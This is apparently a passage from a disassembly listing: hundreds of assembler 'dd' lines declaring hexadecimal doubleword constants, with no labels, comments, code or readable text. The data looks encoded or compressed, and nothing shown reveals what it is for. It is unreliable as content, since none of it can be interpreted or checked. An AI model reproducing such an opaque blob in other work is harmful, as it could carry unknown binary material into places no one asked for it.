		dd 305C544h, 4028B6Ch, 181FF80Ch, 58C442ECh, 6A3A1214h
		dd 840BD4D0h, 0AC640C46h, 2A983767h, 36167B09h,	4AD8645Dh
		dd 0B3E4E0A5h, 1CACD8B4h, 8060763Ch, 28D95710h,	0CDB4F401h
		dd 6830A4C8h, 7A490054h, 664AEE54h, 20B66BBAh, 0CA853CD1h
		dd 1CEC03C8h, 0B0207509h, 0F09808E4h, 25221720h, 2C90B864h
		dd 80BC5CA0h, 0E57CA05h, 6C92A494h, 0A8271BD6h,	878C22BCh
		dd 4C7CA0h, 8FACC889h, 761EF7BAh, 0BE1E88E8h, 80D25202h
		dd 82AC7918h, 0C583ED81h, 0E34C40FAh, 0CEF5850Ch, 96B9EC21h
		dd 0B4612860h, 69CA0BB4h, 0BE5508A7h, 667A5C80h, 415BC82Ah
		dd 79E5A4C0h, 25307495h, 0A8409387h, 212FCA53h,	7B506E51h
		dd 167D42A2h, 8C809388h, 54673E04h, 50ECC401h, 3E4DD88Dh
		dd 0D7109651h, 0D1871D5Eh, 3E968CA4h, 973D38F0h, 5F393400h
		dd 10BC7C16h, 0D9FA5407h, 266538D0h, 0AC1B48F6h, 327F0079h
		dd 11B7FF63h, 73001542h, 6C77BFAAh, 9EC057ECh, 0FA18AAF8h
		dd 34635F4Eh, 61BCE090h, 66B8F904h, 485A2F3h, 301900EAh
		dd 39846D4Dh, 0EE890C96h, 0B5FCA26Ch, 793101D6h, 60207B23h
		dd 0E43F917h, 682BD7A6h, 0B650AB6Ch, 525C9F0Fh,	2C7640CCh
		dd 74C774C2h, 31E22567h, 55ACA400h, 0CA5CCBD9h,	0E4F24A5Eh
		dd 584E6427h, 3148FA4Ch, 5C25D8B0h, 0C778223Eh,	7304ACC1h
		dd 710050B8h, 0B55B9CB0h, 25882CC8h, 4C52BE56h,	11742C00h
		dd 0ABE3281Dh, 0D15560D1h, 0A953C48Ch, 0B4A85617h, 583A4A2h
		dd 8CE2921Dh, 760C9Ah, 16651C88h, 747408A9h, 66581D01h
		dd 0F897BF3Ch, 0E1808EBh, 27CDB200h, 587AF1F7h,	0C9062598h
		dd 9C5B54B0h, 0BEC51800h, 99242EFFh, 71C81CA6h,	681E3F42h
		dd 3D640C12h, 0B201D710h, 0DBE1FA4Dh, 56CC6D54h, 338B18C9h
		dd 4EB720BBh, 2EA6660Ch, 7F1038h, 0C6A2C9B3h, 17DE4345h
		dd 68D39830h, 1E376BAh,	1D668431h, 0C346F6B0h, 81AABBE0h
		dd 42BA9E0Ch, 0CD16087h, 775E97A2h, 7E06D038h, 6CA517E3h
		dd 0B380010h, 68E6B71h,	1B002CFEh, 0D2338DC7h, 0C10AE456h
		dd 0C9B1B731h, 0AF5441C8h, 31384091h, 7F80DC8Dh, 9C881F75h
		dd 36B08092h, 0A1BB2F48h, 0FC061BF8h, 0B6BEA5CAh, 0D2A320E0h
		dd 83B57100h, 0B37A499h, 652E14CCh, 78B09Ah, 0A56FB23Bh
		dd 1B27FE79h, 0EFB0AA15h, 0EF05386Ch, 17FF0160h, 0FD216ECFh
		dd 3B898400h, 0D2E0F357h, 65C30AFh, 41279E28h, 6EB44854h
		dd 80E0CD80h, 84F056BDh, 0D1541B00h, 3105D2F3h,	70E666ACh
		dd 0C700506Dh, 982333C3h, 0C74354A6h, 50350638h, 1E6717CFh
		dd 4C5588A1h, 0D644F9C4h, 0FF57184Bh, 83A7B102h, 143AD38h
		dd 0A6A5AE34h, 898130CBh, 737E6646h, 0D010A0B6h, 0F32B2F0Ch
		dd 4081B003h, 0F8000C59h, 37FD0230h, 990D38h, 8086A227h
		dd 0B0AE3B20h, 0EAEDF700h, 0A6C96467h, 0B45200DBh, 1EA7AFD9h
		dd 3E006A62h, 0B08C849h, 1DD31343h, 3C03CFB6h, 0A1D9681h
		dd 894BB0h, 8EC231h, 1C0243B9h,	30450109h, 8A75931Ch, 3688FF05h
		dd 1B665181h, 0DFF0161h, 33139B8h, 75E1CFF1h, 213820C1h
		dd 0EB77100h, 6C321AB8h, 0D5881E15h, 442A9EE9h,	94874597h
		dd 6BE80054h, 0A6089F1Eh, 6E7134Ch, 3D55B037h, 889A0158h
		dd 34A15733h, 7E00E36Eh, 1C217131h, 0D10604h, 9F9BB8ACh
		dd 0CF1D1786h, 37D2EB1Fh, 0B50E4C68h, 8A310A8Fh, 0D504D49Dh
		dd 1C9056EAh, 0E44E88h,	9C8CAFCAh, 15F8BB32h, 0A0A1B705h
		dd 0E0477BA6h, 60203B0Dh, 7E193AFh, 35382BFEh, 0E3AB8076h
		dd 31502EA5h, 0B0484FD8h, 0B6180E7Fh, 0CA45FAAh, 40D34362h
		dd 90E8D054h, 67F8A01Ch, 0CDE1307Bh, 839B7948h,	8D71BA00h
		dd 2430380Ch, 0A89102D5h, 8391CFEh, 757E0880h, 44066A41h
		dd 0E30FB03Fh, 28A14950h, 9D240C9Fh, 84A475D0h,	2961A712h
		dd 4B62EC20h, 2031E411h, 2800EB26h, 430732DAh, 29F808h
		dd 1EFD0902h, 312F4606h, 10C4A4Dh, 9CDA787Fh, 3520DD0Bh
		dd 4960C06Ch, 4250CA6h,	249238A8h, 0E266B780h, 802C99C1h
		dd 0E608B6A9h, 99144959h, 90891B0h, 0A8C8231h, 0FBCD444h
		dd 2BB1E62h, 44538F86h,	44D32BCh, 10408969h, 0B81D349Eh
		dd 34A89295h, 9AF62F01h, 0A7711839h, 0C4C8435h,	0D20B1F88h
		dd 0DE224C49h, 0AF3C6F30h, 25D0184Dh, 7894B510h, 8CE2048h
		dd 0AC1DDA00h, 314EE527h, 9CC75029h, 0E8BE4C22h, 180B357Ch
		dd 86F007F1h, 0FE04E015h, 8B00213Ch, 50537238h,	967FA36h
		dd 9B1AA644h, 0E23005h,	56D36C90h, 1D03C19Ch, 3020797Ah
		dd 0BE03E927h, 0B82E2081h, 4DBD9897h, 1DC0C7A4h, 4977B703h
		dd 8800898h, 7892D131h,	0CD767F00h, 0B001E1B1h,	5CFF4DABh
		dd 204B641Dh, 9FD1A080h, 6EEE1816h, 54913C34h, 0C67B838h
		dd 8913B520h, 0B80E56EBh, 170BF090h, 5C14BFCEh,	207A3646h
		dd 0CB00D778h, 0F2291247h, 4DAB2Fh, 5D97F9F7h, 0AEE57132h
		dd 77A9625Ch, 3B802156h, 170CC2C9h, 0B9582A2Ch,	1E307EECh
		dd 3121E9CFh, 68DB60E9h, 75856E35h, 4FF17305h, 84041C24h
		dd 4801AEAh, 17B91C9h, 0B85061DCh, 37D3CFA7h, 88991220h
		dd 0C0DBFD0Ch, 49F500FFh, 167F5D0Bh, 4606C355h,	358DB007h
		dd 27970930h, 41B5ABAh,	0BA2A65C3h, 8448A8ECh, 0B4D10CD4h
		dd 0D2E10BEh, 3B312003h, 20744760h, 19539257h, 0DFFAB113h
		dd 7CA6184Ah, 3805B912h, 8C01B81Bh, 0C391986h, 797F5841h
		dd 0D2280432h, 511714C4h, 330DCC9Ah, 34282D4Ah,	0F8F2AF80h
		dd 7E9160C0h, 9624270h,	136916B8h, 40375407h, 7C043088h
		dd 0B227E00h, 6FC7A4D9h, 0C201C44h, 18058336h, 6000902Fh
		dd 16E6E304h, 2E29A132h, 0E57C060Dh, 31C088B6h,	0D0969E28h
		dd 6D16FF00h, 1A3A7D4Fh, 0D1CB3FCFh, 2DFD5881h,	0CCD930BAh
		dd 0E3E041B9h, 38995503h, 8BC8B3B7h, 0FFC0EF32h, 48E0AEFDh
		dd 0CE013C71h, 0D033D1E2h, 520880EAh, 0BFAE7651h, 0CE50C7E4h
		dd 536C1D2h, 41308302h,	0ECD58A6h, 657DB648h, 4555A280h
		dd 0B578C120h, 53311A1Fh, 0F9175A00h, 2DFEBCh, 92223037h
		dd 4A6B80F3h, 0C2C85614h, 0F6B40148h, 6272A645h, 0F9081081h
		dd 0EC950659h, 110096D0h, 990BA753h, 26A7433h, 0A5AC51D4h
		dd 8886C2A0h, 1F0178BBh, 0B90A3706h, 0A89F2229h, 0AE00E005h
		dd 71F96F6h
		dd 0B85A44Eh, 0E275B876h, 0F8D8548Dh, 0A8C7887Eh, 16C17DCFh
		dd 109ECEAAh, 0AE0380FAh, 0A7A595F5h, 97502560h, 1E223731h
		dd 192617h, 4A0C382Dh, 910A8F03h, 7055EA6Bh, 0DB049264h
		dd 9EB60728h, 0AA51A511h, 0A7B3C080h, 0B701112Ah, 0DF9C780Ch
		dd 1050884h, 318DB5AFh,	40C3C8BAh, 26CF0428h, 0C0757D3Fh
		dd 2E35052Dh, 75DB902h,	4245B7C0h, 36606D33h, 0CE16F091h
		dd 3F0F1B1Fh, 7923C0BBh, 10CB448h, 0BCE25DD1h, 40976555h
		dd 0FFA3D0A1h, 598223Dh, 0ED334E9Eh, 0DE38A001h, 0DAC43047h
		dd 503090C1h, 18DDE498h, 0C9A0EEA4h, 90C045ADh,	0D1F2D0BAh
		dd 0A1824AEh, 88C6141Ch, 0D8302106h, 0FE0040B5h, 25C55275h
		dd 62423EA6h, 81FA30D2h, 5A59A00h, 0BE0CF6Ah, 19CA2900h
		dd 58069720h, 40ACAEB1h, 602F628h, 0CE301DD2h, 7E0058A7h
		dd 865A0B20h, 1936681Bh, 4810C2A5h, 63C4D0D2h, 0BC530700h
		dd 4CB51ECBh, 0AB76006Bh, 0F0787D3Dh, 0FD1EB8B3h, 200C0BB6h
		dd 92111F2h, 6534C8C6h,	4EDE1C07h, 0D27CA5A3h, 0A92E5801h
		dd 0CE2BFDA4h, 50B42020h, 5062F8F5h, 920C8CA3h,	6DE50034h
		dd 55D9CD65h, 0D13CCA76h, 84E214CCh, 0E3A53CC0h, 0F0A8B331h
		dd 13286FF8h, 0BAFA718h, 0EF815417h, 20448A30h,	891BC04h
		dd 9E04B61Fh, 0C48199FDh, 0B442071Ah, 42AD60B5h, 0C1B7011Ch
		dd 59F8DDA2h, 0AE9840CEh, 0A0A07E65h, 3913D3A3h, 27856h
		dd 48E34D64h, 0A931CE08h, 998AFEF0h, 41F0FB07h,	40985C30h
		dd 1C8687B8h, 28B63B03h, 0A785759Fh, 0E2AE01AFh, 99FD3018h
		dd 1BBF2887h, 0AD6A8353h, 0D3BA1000h, 6F1ABB3Ah, 984900AAh
		dd 32CF683h, 0E10092AFh, 869CC44h, 3739A1h, 6728463Ch
		dd 9EA9A515h, 0A6D390C1h, 80F62930h, 0AF347084h, 98B1493Fh
		dd 3C73AB00h, 0AEF544DFh, 18923332h, 4F4C48CEh,	0A0C8C2F1h
		dd 0A4466F7Dh, 17023004h, 0C0A273h, 5456911Ch, 2616B434h
		dd 0BF68877Fh, 8680884Ch, 4A9563Ah, 2A6C11C8h, 0F1234C78h
		dd 7C1B9500h, 24C08B97h, 5A137D03h, 13998982h, 58AF07F0h
		dd 91C89004h, 0F10B6C02h, 40B02F66h, 0EC367B2Ch, 0D601073Bh
		dd 0B847A648h, 0D8CC980Ah, 0B406030Ah, 21139210h, 2E8801BDh
		dd 0AB4CED17h, 0E500F458h, 0AE681E7Bh, 14F240Ch, 626E1064h
		dd 60BD2821h, 541A7D20h, 0FACF8C53h, 97B609E3h,	3C10C4C8h
		dd 0B9C03F16h, 179ED007h, 9073508Ah, 3635003Ah,	7E99972Eh
		dd 431CC76Fh, 2152AEBDh, 411EFC00h, 597206C8h, 30390839h
		dd 0AC5CBBACh, 0B25B0A67h, 0C09B09D8h, 0A3A97418h, 2177FD09h
		dd 66188476h, 7E4C882h,	9255946Bh, 0B8403470h, 0C30789E3h
		dd 4233E7EBh, 15AE16D1h, 0C81DB080h, 0DC48A78Ch, 32100405h
		dd 0E00C3E98h, 1FB58D0h, 23920255h, 34DBE130h, 2700282Ch
		dd 6EE28C9Eh, 9303203Ch, 0BEA60604h, 9100A9CAh,	2178CDA0h
		dd 0F8D97C8h, 16CC5227h, 3906C6Ah, 3DEC3008h, 1B3826h
		dd 0DE1898A6h, 6481CA1h, 21AF0CB8h, 0E0986033h,	0C1B54913h
		dd 1AABC800h, 657EEC41h, 88BA50A9h, 0D53030F8h,	0B719100Eh
		dd 4C0C90ABh, 7E0418h, 206270F3h, 2650E2Fh, 45CD0709h
		dd 0CA58A3E3h, 17210CF2h, 658614Eh, 5054CE4Ch, 88CE05A0h
		dd 5A966097h, 98F99956h, 0AA441534h, 801B40B9h,	8CB410DDh
		dd 0A8924014h, 5A073707h, 0FDE004B2h, 6372AE82h, 8AC6C0E5h
		dd 0E880CFD2h, 0A08CAF6Fh, 33F70A02h, 68521704h, 0EA7C123Ch
		dd 6E90BCh, 96216F05h, 1C0CEBBBh, 0A4AEE300h, 0D741A6Bh
		dd 35A30B08h, 438C3075h, 33243790h, 144F4B6h, 9B5C8C2h
		dd 60307400h, 4239B887h, 83E0486Bh, 0EECFAFh, 0D23348A0h
		dd 8DA59FB5h, 0F61E4CB2h, 2F18C876h, 77A6AEE9h,	5334072Dh
		dd 7AFD0h, 0C0108AFEh, 0FDF83012h, 64152440h, 0F8E8CF4Eh
		dd 257D021Eh, 0B2A33843h, 70FBB486h, 35D77400h,	68C9C2E2h
		dd 42C6092Eh, 740F8331h, 859B5560h, 0B483818h, 1A079640h
		dd 0BACF30B5h, 24E096C8h, 81184816h, 81F9521h, 75CCCCFCh
		dd 979B641Ah, 34F8C9F8h, 25661701h, 80E5E3E8h, 24783110h
		dd 0B4A29492h, 0D9863DDh, 0ACD63010h, 462041E0h, 7C3200A5h
		dd 9C08B9EFh, 147E80E7h, 0FE5198E6h, 78E0BB76h,	68343926h
		dd 7D300402h, 0BF646BF0h, 1DFE2C80h, 29F0031h, 0CA397198h
		dd 0E6E0AE97h, 269158C0h, 0A0641Dh, 21F705F3h, 6F9E1703h
		dd 957CFE54h, 50B02A4Dh, 240C0C30h, 68D9ED30h, 40C8B0D4h
		dd 6D116478h, 8210BCE2h, 84BB0287h, 40152630h, 297DA4h
		dd 0DBC185A9h, 171F39B6h, 0F1C58E77h, 884531F7h, 0CC14057Ah
		dd 5B6B1856h, 0B8A30680h, 28389934h, 51E0844Ah,	0C871EC88h
		dd 61702464h, 44AF29B9h, 8CC0ACE9h, 0A09D3B0Bh,	43F2F614h
		dd 30130C94h, 8748471Eh, 1CC38B0Ah, 0DC229C86h,	0F2206490h
		dd 1814F8E6h, 50CADBB0h, 6E20A597h, 0B2732E9Bh,	85AE085Ch
		dd 38032D12h, 131280A5h, 3CC9788h, 0A005FE18h, 87D424E1h
		dd 0EF236A19h, 26116E40h, 0B601FBCCh, 6340885Dh, 0A22E005Fh
		dd 0B7672D9Eh, 0A6BD9C0h, 432F3Ah, 9133C748h, 1EA2FD7Dh
		dd 4546490h, 361C898Ch,	48D8693Ah, 81C0E2B0h, 5808A8E3h
		dd 8D81B49h, 28FD0A37h,	0D72939B4h, 20AF02FAh, 0F74F1F99h
		dd 6F0310CCh, 6B274BAEh, 0D0B1584Ch, 7525263Ah,	19857090h
		dd 9AA2B016h, 0F9484800h, 0D0357E1Bh, 2085B0C0h, 88D4D5D0h
		dd 8F4CC690h, 99C31820h, 0E108E39h, 7915E907h, 0A48E3A1Ch
		dd 3323FFD1h, 0BCE9243Ch, 891A8169h, 4C181E1h, 0FD760EB8h
		dd 41870642h, 0DBE75C5Fh, 573E0DF9h, 0D31F01BFh, 3F02D3D7h
		dd 0D3660E03h, 0D39C2404h, 686D0D6Eh, 876731B0h, 4EC834Ah
		dd 0C06F1C67h, 1D8B593Fh, 9CE9185Bh, 0FFEE2918h, 5D243400h
		dd 6804C483h, 6F4E3CEFh, 0C7815F00h, 73775BA6h,	7EF7293Ch
		dd 868B08A1h, 5566E936h, 748FF391h, 0F4D95457h,	0DE9FFC50h
		dd 0B9519AC0h, 8174B7h,	59CA291Dh, 23E9D701h, 5820FB67h
		dd 78ECE763h, 1C77060Ch, 0E659669Dh, 0D0FB11EDh, 0E52C3101h
		dd 8B069F33h, 0EED2BCBFh, 81003125h, 0A45F6FEAh, 537D5B2Fh
		dd 1AF7A630h, 0ACD830ACh, 85A6CA8Dh, 83C490C6h,	1D8BEA29h
		dd 0B1A8E958h, 4302B93Ch, 0F142CD0Fh, 0FF550F1Ah, 5D0F5E74h
		dd 2A50748Fh, 0FE8C866h, 32C8B63Ch, 2F92AE51h, 46D714EAh
		dd 0BCEF3B54h, 1FE90D06h, 91D8D5D9h, 2F870F0Fh,	0A81CC101h
		dd 6765FA08h, 63468423h, 0C0C2784h, 385EF109h, 0B7031FE4h
		dd 88978CFFh, 0D90ABF1Ch, 0F37D6C37h, 923EE600h, 0CE7C15Ch
		dd 52B9E903h, 0A31E0526h, 18FBC0Eh, 87E286C8h, 0C316A918h
		dd 0C2565EE4h, 0BD555C12h, 0EB018590h, 1C875D14h, 0D0F09C82h
		dd 49AC6851h, 18643E13h, 0C1C1081h, 0EEDB85E9h,	5EE1EC1h
		dd 1F754A56h, 0CDD89DBAh, 20E734Bh, 5E41C0A5h, 0CFEDEC87h
		dd 0ABA36C9h, 4A01CB36h, 3425F281h, 34C12CF8h, 40607E2h
		dd 8E0B89A9h, 0E337DC6h, 0B9E01B42h, 0CF921E34h, 1924E8h
		dd 50D2BAD5h, 39903CB5h, 0AB44DC41h, 620C7EC6h,	0EC81EF66h
		dd 0B4012E8Ah, 110B3572h, 0E9899C31h, 43C73B2Ah, 2B5074C7h
		dd 260BEB8h, 0E4B8502Bh, 2F5E0251h, 1133E948h, 28C76248h
		dd 121F603Ch, 0DA10CF29h, 30E93F08h, 0C15AA2D7h, 311007E8h
		dd 8D5452C8h, 1D4A2350h, 0FC22EEAh, 88C2015Eh, 1CBF08EDh
		dd 376886E9h, 92831B81h
		dd 0FE00870Ch, 0FC0095Ch, 80673584h, 53EB401Eh,	0B0367CBBh
		dd 5C312F14h, 404049FDh, 8D54B8A0h, 5AC1DF83h, 3E074B0Dh
		dd 99204FBh, 8418E430h,	10F75209h, 21849542h, 0E9C990C8h
		dd 0E8910A38h, 6885494Ah, 0A8387229h, 5EF32601h, 4EC10A6h
		dd 515AD031h, 0FD52C2h,	47B6EB81h, 3E8023Bh, 522DCFC2h
		dd 180C7F26h, 0A8764D06h, 430D581Ah, 1CDA292Fh,	801C0806h
		dd 49CDE914h, 1550FED3h, 68690FB8h, 95BFA059h, 0A26A9964h
		dd 0E68902B0h, 0B59BC681h, 323408B4h, 9408CEB4h, 7613C315h
		dd 99724882h, 0BC31817Eh, 261A1870h, 48CE2110h,	307B759h
		dd 5181DEF7h, 201E605Bh, 8B0CF660h, 1849467Ch, 0EF4F049Fh
		dd 82F0293Ch, 50C3E805h, 83D5CC8h, 0A8F78104h, 0F4C7F26Bh
		dd 937C33B0h, 78DFF607h, 0EA0450C1h, 0B5E41883h, 53732E3Bh
		dd 47252C19h, 0E02F1330h, 0F8580190h, 0D5AE4921h, 0C331878Bh
		dd 56E9C220h, 11A4936Fh, 2A093E01h, 384A11Ch, 0E9162384h
		dd 0A62773F0h, 0CDC888C8h, 0F5098712h, 54DC235Ch, 6343F159h
		dd 0CA815A00h, 6A2C1C71h, 0FC08740Fh, 73A120CFh, 8BDEC087h
		dd 89AE5FCAh, 134F874h,	76C785C3h, 0BA00F364h, 70BD48BEh
		dd 8950570Eh, 58C747D0h, 5FFE53h, 0B746C668h, 0F7018F42h
		dd 82B05E48h, 0AE4BF368h, 81E5627Eh, 206666C5h,	0B9004A60h
		dd 3534759Ah, 0C19EF181h, 59CB010Dh, 0E05A7057h, 88538CC3h
		dd 5BF891D7h, 8A389420h, 86884E66h, 0F4C6C588h,	152266F2h
		dd 1634AA68h, 50BFB203h, 0C283B1B0h, 4778EE18h,	12882D20h
		dd 711676h, 0B2E1C27h, 0C668014Fh, 9E2408E8h, 75AAFE23h
		dd 5AD2E91Ah, 0CA899610h, 42170250h, 8DA0665Ch,	0F511E952h
		dd 0DA5CB792h, 0E3497D08h, 2EBC996h, 16B3009h, 0C880C228h
		dd 587566EEh, 0C003CA7Dh, 53E905EAh, 0BB4C01E1h, 64C36069h
		dd 3055C54Bh, 83C8368Bh, 1E9C241Ch, 15E28FD5h, 0AD8CD4E6h
		dd 1861C73Fh, 8F0C6B07h, 63F4063Ch, 0E124A1E9h,	0E788CC80h
		dd 189A6082h, 878B8D27h, 0B5321835h, 0EDC006E4h, 0ACDFE04h
		dd 0C580030Eh, 8DF560FFh, 0D2493DE9h, 85D22730h, 2FE52242h
		dd 0FEE1622Dh, 0A1CA65A2h, 0C753A16h, 0FCE89D0Ch, 5920D233h
		dd 345C0D2Eh, 660E51B1h, 8E2943B9h, 10BFC257h, 0FECE8091h
		dd 9A1D71E9h, 78F34C43h, 2A6DCC9Eh, 4900BE16h, 0B81C9910h
		dd 262F0A72h, 3E01E8h, 7955872Dh, 0E016C14Bh, 81084008h
		dd 0D9B6022Bh, 0C3C2F328h, 81C45EA4h, 0CB80C30Eh, 798A68F0h
		dd 0E91998A6h, 0EB871210h, 0C1131136h, 0DD6C14E3h, 7FDF9F02h
		dd 56C25F29h, 0A756D006h, 9CD7F72Eh, 0BE40081Eh, 0B9C30DFCh
		dd 55E9F829h, 0EEDC98CEh, 90B3985Dh, 12D4EC83h,	156E40Bh
		dd 3AD6B862h, 574164C0h, 0FAE40198h, 4198829Ah,	46C7397Ch
		dd 0B580BAB0h, 51E5C059h, 0ED03F003h, 0CDED9B4Ah, 592046C3h
		dd 1AD4322Ah, 2EE95FB0h, 5B0C0F66h, 124A36Bh, 0AFCF81D3h
		dd 314E317Ch, 0F7C8D4CDh, 0F829C503h, 6E7D52E9h, 0E76F3659h
		dd 0D2E4B444h, 0E2E1D180h, 241B2425h, 92ED59CBh, 96B90A8Ch
		dd 48F6BD09h, 4C171ED5h, 0E818B139h, 0D5C38343h, 20B97B1Dh
		dd 8A8F382h, 0DA594077h, 0BBE361E9h, 244CFC68h,	1445DE82h
		dd 1AE0E8ACh, 55990650h, 1B99232Dh, 493CFB5h, 307CB031h
		dd 2CF781C7h, 0CD347CDh, 89413CEEh, 62DC52F7h, 4F32D61Eh
		dd 5F8FF901h, 12CA21C5h, 8C5296Eh, 29968706h, 1D8A7E0Ch
		dd 8638076Ah, 0FC215B7Bh, 0F748550Eh, 115D315Ch, 0C1EC42FFh
		dd 6005FC62h, 67E00881h, 0E9185304h, 554A7557h,	0BB5E905Ah
		dd 0E1E9053Bh, 6B86CA16h, 1F930A5h, 835826C5h, 5CA5321Bh
		dd 0BA52F0A0h, 0E23C1FA1h, 4AD7AC5Eh, 3879E701h, 60307CBFh
		dd 3D4F16E0h, 0E3E34116h, 0EB249750h, 35A2E9C1h, 0F7C22035h
		dd 0E7D14E54h, 946B1C94h, 7EB90293h, 492B0315h,	86FF31E1h
		dd 5FF92903h, 21DF0412h, 0BF534597h, 4FFC5880h,	0B7CB0081h
		dd 0C1557207h, 12DC06EBh, 0CF0041Fh, 2439FBC3h,	3290BE0h
		dd 0E071BF4h, 13BB180Eh, 0DF01650Dh, 0E9F9C402h, 28114848h
		dd 905B0E2h, 0D030584Bh, 4FB82A89h, 0E7C098E9h,	0E503BA2Dh
		dd 109BA005h, 0A510073h, 0E281DAF7h, 0D62472BEh, 0FB01797Eh
		dd 4A2BB542h, 321260h, 0F735B32Dh, 0F5814DD5h, 0F85AE00Ch
		dd 0FF252CD3h, 0ED0159C0h, 840C2F9h, 5CD0295Dh,	503C75Ah
		dd 628545E0h, 5E4200ADh, 1C9AEB81h, 68077804h, 918C694Fh
		dd 1E200B8h, 1035181Eh,	2B759575h, 710A8600h, 0E9C32913h
		dd 0DF565209h, 3D4CBB10h, 3C44CF66h, 0FF14C932h, 1E8EB11Ch
		dd 0C2E0D2E1h, 0AF693189h, 0C00E3576h, 0EB2580CBh, 9D422DAh
		dd 435A0259h, 4A03D987h, 7A4802EFh, 0AB6212DAh,	8C7DD00h
		dd 2060740Dh, 4896CF0Ch, 0FB291CFDh, 1209E65Fh,	0CAD2849Ah
		dd 375724ECh, 0FFEF8350h, 982596A5h, 3934CAEEh,	330ED09Dh
		dd 40D37218h, 25445E0Ch, 94010C21h, 0E92248C6h,	0FDB0073Dh
		dd 7A89A4B3h, 0D12902F1h, 28A7E95Ah, 0AAB28F79h, 0FB09CB83h
		dd 0E8FFC25Dh, 50424A5Ch, 3F2F1D1h, 74F83512h, 4610D731h
		dd 33242791h, 6ED3D3Eh,	4D30390Dh, 258848D0h, 540A1006h
		dd 491905Dh, 62C51BC0h,	0BD098343h, 0DD010F03h,	345190E9h
		dd 161C5932h, 20616585h, 0F078EFC8h, 0E9813200h, 0E66D988Eh
		dd 59CF0401h, 0C05FF831h, 457FE226h, 0DDE92F12h, 0C5640D84h
		dd 36EF64C1h, 53801428h, 41D46850h, 58003B72h, 0E62DD0F7h
		dd 40FE873h, 7033CD25h,	55298374h, 0EAC1A513h, 0EFCACE00h
		dd 9065A306h, 6772DEAFh, 19C9BD1Bh, 9E553C34h, 465B7F09h
		dd 0B449F20Fh, 0DC801F3Eh, 7EF1C568h, 0A86081F6h, 80443805h
		dd 154A13EFh, 1061FB09h, 529FAA36h, 0E9384251h,	94E52E0Ch
		dd 3388C018h, 51C38250h, 322201B9h, 145990CFh, 966AF342h
		dd 0D4693A06h, 2EBD0914h, 5A80179Ah, 55535FFDh,	1374C2A0h
		dd 31479D0Ch, 51589A44h, 7970E58Bh, 423A33E9h, 20796CDBh
		dd 0E912A14Fh, 0FBFCAA00h, 0B9FE316Fh, 37659209h, 38148228h
		dd 62B0DA65h, 9A5DBE68h, 1AAE2088h, 4FB2879Eh, 43B87951h
		dd 51031BF8h, 0A7345BEEh, 2C80279h, 0D374F36h, 0F32CDC0h
		dd 2BEB3500h, 0D8F71090h, 0A18A0005h, 0C601B459h, 5EF60958h
		dd 0C70741B0h, 0BA65F9FDh, 74C1FEA5h, 660017C6h, 491DB252h
		dd 5A93D388h, 1C5F460Eh, 0E98FE9CCh, 0F9709BEh,	0EA0014CBh
		dd 40025198h, 57BAE974h, 0F50B5BB4h, 0E440A215h, 7EAA661Bh
		dd 0F2B72454h, 2CC7982Bh, 0F78029F6h, 8021B8D9h, 3FAC2B80h
		dd 0D590BC3Fh, 265A2E30h, 581E9A24h, 1A4DCEC9h,	91E6C594h
		dd 0EF5A2483h, 0B54ACF01h, 1860F75Ch, 0F9309E3h, 0E8007A28h
		dd 713C3B8Bh, 83FBE913h, 54504560h, 5D2A9058h, 0B428113Ah
		dd 0F10D2685h, 90DEA2DFh, 0AEC09EF3h, 1DCF00BDh, 0E8015898h
		dd 16E26812h, 82BB0332h, 0F045E90Fh, 53590746h,	0E78076B7h
		dd 26F73002h, 5B73F830h, 4A6EC649h, 35E9E928h, 0A18AD2B3h
		dd 6167E088h, 454B8C9Eh, 2EE91FBFh, 8ACA414h, 77203D75h
		dd 0F26A682Ah, 0FE691DFCh, 99804828h, 775BC52Bh, 0B4C98028h
		dd 5701CE4Fh, 0E906E5C1h, 22836013h, 0C8288B2Ch, 227825C9h
		dd 2A5590DDh, 1E90EB86h, 0A2B0C05h, 6BA45D09h, 6E0E0C7Bh
		dd 41B25B11h, 61CEAEA9h, 0D73B40E9h, 1F5B3302h,	22688102h
		dd 3ADCCC03h, 0F2123B3Eh
		dd 0E97D0329h, 20167C83h, 0A80BCC88h, 9455A8E2h, 4A4B5A93h
		dd 147A0453h, 94E131D8h, 0D6804D4h, 78EAA237h, 491F7709h
		dd 0F1A0024Ah, 14150A27h, 83059CC5h, 8B8702C2h,	6E285A41h
		dd 5DE76BE9h, 0B3682C92h, 7FC52030h, 87B26461h,	4E2000D3h
		dd 121C950h, 44E5EB78h,	886DC408h, 0B7BC5B30h, 0F8F0E962h
		dd 2059769Fh, 66176BA5h, 5D22BB0Fh, 0F6E46890h,	0F48007DCh
		dd 0C3E5882Ch, 182E4F52h, 62088009h, 0C505014Ah, 0D420970Ah
		dd 742F73AEh, 0A19BAA35h, 1452F409h, 0C2090F06h, 21B6E2D1h
		dd 82367A0Ah, 471E2BF1h, 0E8EDC17Ch, 0D729AA80h, 565FFA87h
		dd 5508BE09h, 2DDB0280h, 0D4BF005Dh, 260EEF1Ah,	6181D7F7h
		dd 390C2E8Dh, 0EF844521h, 0A65F5457h, 870644ADh, 1913C52h
		dd 65316855h, 0C3921956h, 819D40CCh, 0D12824C2h, 0FA015C00h
		dd 315A0A33h, 0C1EEA14Fh, 20952AEAh, 60EE58B5h,	9805AD90h
		dd 0A568B843h, 0F25D6974h, 62199A2Dh, 0DFBE5A14h, 53F15307h
		dd 0DD9D0CA0h, 6BF653A4h, 28023009h, 7E0A095Bh,	0F71914E0h
		dd 0C2910D33h, 8067446h, 1D5F38E9h, 2CBE8855h, 4494BF00h
		dd 814ABBh, 122556CFh, 7E7C127h, 0B03E290h, 31691AC2h
		dd 0E9A516FBh, 0B36A8528h, 938C6042h, 9016E079h, 2A66025Eh
		dd 0B2E93A9Bh, 0F3902758h, 85825F59h, 0CC260C87h, 6E1F7134h
		dd 0E8C9D85Dh, 2966EB03h, 0E9C1A0E5h, 40B8574Dh, 24BCF444h
		dd 46B96806h, 12CC30E5h, 111EF0D9h, 0DA4F5930h,	40377828h
		dd 7480031Dh, 44BB5CF7h, 5026964Ch, 47EE12F7h, 0D402C7F2h
		dd 5ABBD07Eh, 189CBA52h, 839AD347h, 6F256616h, 0D14F82h
		dd 2D89685Ch, 0AFBB0CB1h, 244E1EE3h, 45CC315Ch,	817AA03Fh
		dd 0CCE4F101h, 0CF89AF52h, 0E9C2AE38h, 20023E5Bh, 8504C5E8h
		dd 52114768h, 4688D83Eh, 39A4D0B2h, 0D1A2ADB2h,	5C4C9DBEh
		dd 0A3F2085h, 0C92573B9h, 20E61F98h, 11665B27h,	0A917020Eh
		dd 31E40A02h, 0BAB83FE3h, 45F704AFh, 6C5708A0h,	55C38B3Bh
